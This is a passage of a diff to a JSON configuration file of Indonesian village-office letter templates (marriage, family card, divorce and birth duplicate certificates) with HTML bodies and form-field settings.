      Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nSurat Bukti Diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kK]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[Warga_negarA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgamA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n8.

      <\/td>\r\n
      Alamat

      <\/td>\r\n
      :

      <\/td>\r\n
      [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Nama tersebut di atas betul telah menikah dengan seorang perempuan yang bernama :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n9.<\/td>\r\nNama<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Nama_cpW]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n10.<\/td>\r\nTempat\/tanggal lahir<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Ttl_cpW]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n11.<\/td>\r\nJenis Kelamin<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_cpW]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n12.<\/td>\r\nSurat Bukti Diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nKTP<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Nik_cpW]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nKK<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[No_kk_cpW]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n13.<\/td>\r\nWarga Negara<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Warga_negara_cpW]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n14.<\/td>\r\nAgama<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Agama_cpW]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n15.<\/td>\r\nPekerjaan<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Pekerjaan_cpW]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n16.<\/td>\r\nAlamat<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Alamat_cpW] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\nDi:<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n17.<\/td>\r\nTempat<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Form_nama_badan_peradilaN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n18.<\/td>\r\nTanggal<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Form_tanggal_putusan_penetapan_pengadilaN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Demikian surat ini dibuat untuk dipergunakan sebagaimana mestinya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0[Sebutan_desA] [Kode_desA]<\/td>\r\n<\/tr>\r\n
      [qr_code]<\/td>\r\n


      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0NIP : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


      <\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, "data": [ - "1" + "1", + "3" ], - "sex": "", + "sex": "1", "status_dasar": [ "1", "2", "3", "4", + "5", "6", + "7", + "8", "9" ], "kk_level": [ @@ -3231,28 +3310,21 @@ "10", "11" ], - "data_orang_tua": "0", + "data_orang_tua": "1", "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", + "judul": "Pengantin Pria", + "label": "A. Calon Pasangan Pria", "info": "", - "sebagai": 1, "hubungan": null }, - "Penerima_Kuasa": { - "sumber": 1, + "dapp": { + "sumber": "1", "data": [ - "1" - ], - "sex": "", - "status_dasar": [ "1", - "2", - "3", - "4", - "6", - "9" + "3" ], + "sex": "1", + "status_dasar": null, "kk_level": [ "1", "2", @@ -3263,145 +3335,57 @@ "7", "8", "9", - "10", - "11" - ], - "judul": "Penerima Kuasa", - "label": "Penerima Kuasa", - "info": "", - "sebagai": 0, - "hubungan": "" - } - }, - "kode_isian": [ - { - "tipe": "text", - "kode": "[form_untuk_keperluan]", - "nama": "Untuk \/ Keperluan", - "deskripsi": "Untuk \/ Keperluan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Permohonan Perubahan Kartu Keluarga", - "url_surat": "surat-permohonan-perubahan-kartu-keluarga", - "kode_surat": "S-41", - "lampiran": "F-1.01,F-1.02,F-1.16", - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": false, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": null, - "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [format_nomor_surat]

      <\/p>\r\n

      \u00a0 \u00a0 \u00a0 Yang bertanda tangan di bawah ini [Jabatan] [Nama_desa], Kecamatan [Nama_kecamatan], [Sebutan_kabupaten] [Nama_kabupaten], Provinsi [Nama_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      2.<\/td>\r\nTempat\/tanggal lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
      4.<\/td>\r\nWarga negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
      6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[JeNis_kelamin]<\/td>\r\n<\/tr>\r\n
      7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan]<\/td>\r\n<\/tr>\r\n
      8.<\/td>\r\nTempat tinggal<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [Nama_desa], Kecamatan [Nama_kecamatan], [Sebutan_kabupaten] [Nama_kabupaten]<\/td>\r\n<\/tr>\r\n
      9.<\/td>\r\nSurat bukti diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
      10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nPermohonan Perubahan Kartu Keluarga WNI.<\/td>\r\n<\/tr>\r\n
      11.<\/td>\r\nKeterangan lain-lain<\/td>\r\n:<\/td>\r\nOrang tersebut di atas adalah benar benar penduduk desa kami dan adat istiadat baik.<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<\/p>\r\n

      Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

      <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n



      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      [NAma]<\/strong><\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nNo<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nMengetahui,<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nCamat - [NaMa_kecamatan]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      [qr_code]<\/td>\r\n


      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      ..............................................<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \u00a0<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ - { - "tipe": "select-manual", - "kode": "[form_alasan_permohonan]", - "nama": "Alasan Permohonan", - "deskripsi": "Pilih Alasan Permohonan", - "required": "1", - "atribut": null, - "pilihan": [ - "Karena Penambahan Anggota Keluarga (Kelahiran, Kedatangan)", - "Karena Pengurangan Anggota Keluarga (Kematian, Kepindahan)", - "Lainnya" - ], - "refrensi": null, - "kolom": "", - "label": "Alasan Permohonan", - "kaitkan_kode": "[{\"nilai_isian\":[\"Lainnya\"],\"kode_isian_terkait\":[\"Alasan Lainnya\"]}]" - }, - { - "tipe": "textarea", - "kode": "[form_alasan_lainnya]", - "nama": "Alasan Lainnya", - "deskripsi": "Alasan Lainnya", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Alasan Lainnya", - "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Pengantar Rujuk atau Cerai", - "url_surat": "surat-keterangan-pengantar-rujukcerai", - "kode_surat": "S-35", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": false, - "masa_berlaku": 1, - "satuan_masa_berlaku": "d", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": null, - "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [FOrmat_nomor_surat]

      <\/p>\r\n

      Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan bahwa berdasarkan keterangan dari :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nBin<\/td>\r\n:<\/td>\r\n[NaMa_ayah]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Telah rujuk\/cerai *) dengan :
      <\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n8.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pasangan]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n9.<\/td>\r\nBinti<\/td>\r\n:<\/td>\r\n[FoRm_nama_ayah]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n10.<\/td>\r\nTempat dan Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TeMpatlahir_pasangan], [Tanggallahir_pasangaN]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n11.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara_pasangan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n12.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma_pasangan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n13.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan_pasangan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n14.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlAmat_pasangan]\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

      \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n



      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \u00a0<\/div>", - "form_isian": { - "individu": { - "sumber": 1, + "10", + "11" + ], + "judul": "Ayah Pria", + "label": "A.2 DATA AYAH PASANGAN PRIA", + "info": "", + "hubungan": "individu" + }, + "dipp": { + "sumber": "1", "data": [ - "1" + "1", + "3" ], - "sex": "", + "sex": "2", "status_dasar": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9" + ], + "kk_level": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "11" + ], + "judul": "Ibu Pria", + "label": "A.3 DATA IBU PASANGAN PRIA", + "info": "", + "hubungan": "individu" + }, + "ilama": { + "sumber": "0", + "data": [ "1" ], + "sex": "1", + "status_dasar": null, "kk_level": [ "1", "2", @@ -3415,29 +3399,45 @@ "10", "11" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", + "judul": "Istri Terdahulu", + "label": "A.4 DATA ISTRI TERDAHULU", "info": "", - "sebagai": 1, - "hubungan": null + "hubungan": "" }, - "pasangan": { - "sumber": 1, + "cpw": { + "sumber": "1", "data": [ "1", "3" ], - "sex": "", - "status_dasar": [ + "sex": "2", + "status_dasar": null, + "kk_level": [ "1", "2", "3", "4", + "5", "6", - "9" + "7", + "8", + "9", + "10", + "11" + ], + "judul": "Pengantin Wanita", + "label": "B. Calon Pasangan Wanita", + "info": "", + "hubungan": "" + }, + "dapw": { + "sumber": "1", + "data": [ + "1", + "3" ], + "sex": "1", + "status_dasar": null, "kk_level": [ "1", "2", @@ -3451,156 +3451,44 @@ "10", "11" ], - "judul": "Pasangan", - "label": "Data Pasangan", + "judul": "Ayah Wanita", + "label": "B.2 DATA AYAH PASANGAN WANITA", "info": "", - "sebagai": 0, - "hubungan": "" - } - }, - "kode_isian": [ - { - "kategori": "pasangan", - "tipe": "text", - "kode": "[form_nama_ayah]", - "nama": "Nama Ayah", - "deskripsi": "Nama Ayah Pasangan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Nama Ayah", - "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Permohonan Kartu Keluarga", - "url_surat": "surat-permohonan-kartu-keluarga", - "kode_surat": "S-36", - "lampiran": "F-1.01,F-1.02,F-1.15", - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": false, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": null, - "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [Format_nomor_suraT]

      <\/p>\r\n

      Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[UsIa]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n8.

      <\/td>\r\n
      Tempat Tinggal

      <\/td>\r\n
      :

      <\/td>\r\n
      [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n9.<\/td>\r\nSurat bukti diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\nPermohonan Kartu Keluarga baru WNI.<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n11.<\/td>\r\nBerlaku<\/td>\r\n:<\/td>\r\n[Mulai_berlaku] s\/d [Berlaku_sampai]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n12.<\/td>\r\nKeterangan lain-lain<\/td>\r\n:<\/td>\r\nOrang tersebut di atas adalah benar-benar penduduk [SeButan_desa] kami dan ada istiadat baik.<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

      Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

      <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
      Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n



      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      [NAma]<\/strong><\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nNo<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nMengetahui,<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\nCamat - [NaMa_kecamatan]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      [qr_code]<\/td>\r\n


      <\/td>\r\n
      \u00a0<\/td>\r\n<\/tr>\r\n
      ..............................................<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
      \u00a0<\/div>", - "form_isian": { - "individu": { - "sumber": 1, + "hubungan": "cpw" + }, + "dipw": { + "sumber": "1", "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" + "1", + "3" ], + "sex": "2", + "status_dasar": null, "kk_level": [ - "1" + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "11" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", + "judul": "Ibu Wanita", + "label": "B.3 DATA IBU PASANGAN WANITA", "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ - { - "tipe": "select-manual", - "kode": "[form_alasan_permohonan]", - "nama": "Alasan Permohonan", - "deskripsi": "Alasan Permohonan", - "required": "0", - "atribut": null, - "pilihan": [ - "KARENA MEMBENTUK RUMAH TANGGA BARU", - "KARENA KARTU KELUARGA HILANG\/RUSAK", - "LAINNYA" - ], - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - }, - { - "tipe": "text", - "kode": "[form_nomor_kartu_keluarga_semula]", - "nama": "Nomor Kartu Keluarga Semula", - "deskripsi": "Nomor Kartu Keluarga Semula", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" + "hubungan": "cpw" }, - { - "tipe": "textarea", - "kode": "[form_keterangan]", - "nama": "Keterangan", - "deskripsi": "Keterangan", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Permohonan Duplikat Kelahiran", - "url_surat": "surat-permohonan-duplikat-kelahiran", - "kode_surat": "S-20", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": false, - "masa_berlaku": 1, - "satuan_masa_berlaku": "d", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": null, - "template": "

      [JUdul_surat]<\/span><\/h4>\r\n

      Nomor : [FOrmat_nomor_surat]

      <\/p>\r\n

      YDengan ini kami mengajukan orang untuk mengadakan [Judul_suraT] seperti tersebut di bawah ini\u00a0 :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
      \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No KTP<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n3.<\/td>\r\nJenis Kelamin \/ Agama<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN] \/ [AgamA]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n4.<\/td>\r\nAlamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlamaT]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n
      Telah Lahir Pada :<\/strong><\/td>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n5.<\/td>\r\nHari, Tanggal, Pukul<\/td>\r\n:<\/td>\r\n[HaRi_kelahiran], [TaNggal_kelahiran], [JaM_kelahiran] WIB<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n6.<\/td>\r\nBertempat di<\/td>\r\n:<\/td>\r\n[TeMpat_dilahirkan]<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n
      Dengan orang tua<\/strong>:<\/td>\r\n
      \u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
      \u00a0<\/td>\r\n7.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[NAma_ibu]<\/td>\r\n<\/tr>\r\n
